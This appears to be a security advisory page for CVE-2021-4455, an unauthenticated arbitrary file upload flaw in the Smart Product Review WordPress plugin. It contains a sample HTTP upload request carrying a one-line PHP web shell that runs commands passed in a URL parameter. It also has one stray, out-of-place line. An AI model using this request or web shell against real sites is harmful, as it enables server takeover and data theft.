Overview
A serious vulnerability has been identified in the Smart Product Review plugin for WordPress, an extensively used tool for adding product reviews to websites. This critical security flaw, labelled as CVE-2021-4455, affects all versions up to and including 1.0.4. This vulnerability is of particular concern as it creates a gaping hole in the security of WordPress sites, allowing unauthenticated attackers to execute remote code by uploading arbitrary files to the server. Given the widespread use of WordPress, this vulnerability has far-reaching implications and should be addressed immediately.
Vulnerability Summary
CVE ID: CVE-2021-4455
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated arbitrary file upload leading to a potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Smart Product Review Plugin for WordPress | Up to and including 1.0.4
How the Exploit Works
The vulnerability stems from an absence of file type validation in the Smart Product Review plugin. This means that an attacker does not need any form of authentication to upload files to the server. The types of files that can be uploaded are not limited, which allows for the uploading of arbitrary files. These could include malicious scripts or executables that could potentially grant the attacker control over the server or enable extraction of sensitive data.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /wp-content/plugins/smart-product-review/upload.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an attacker sends a POST request to the vulnerable upload endpoint of the plugin, with a malicious PHP script as the file to be uploaded. The script is designed to execute a shell command sent as a parameter in a subsequent GET request, thus enabling the attacker to execute arbitrary commands on the server.
Recommended Mitigation
The best course of action is to apply the vendor’s patch as soon as possible. If this is not immediately feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures can only limit the damage and are not permanent solutions. The vulnerability will persist until the patch is applied.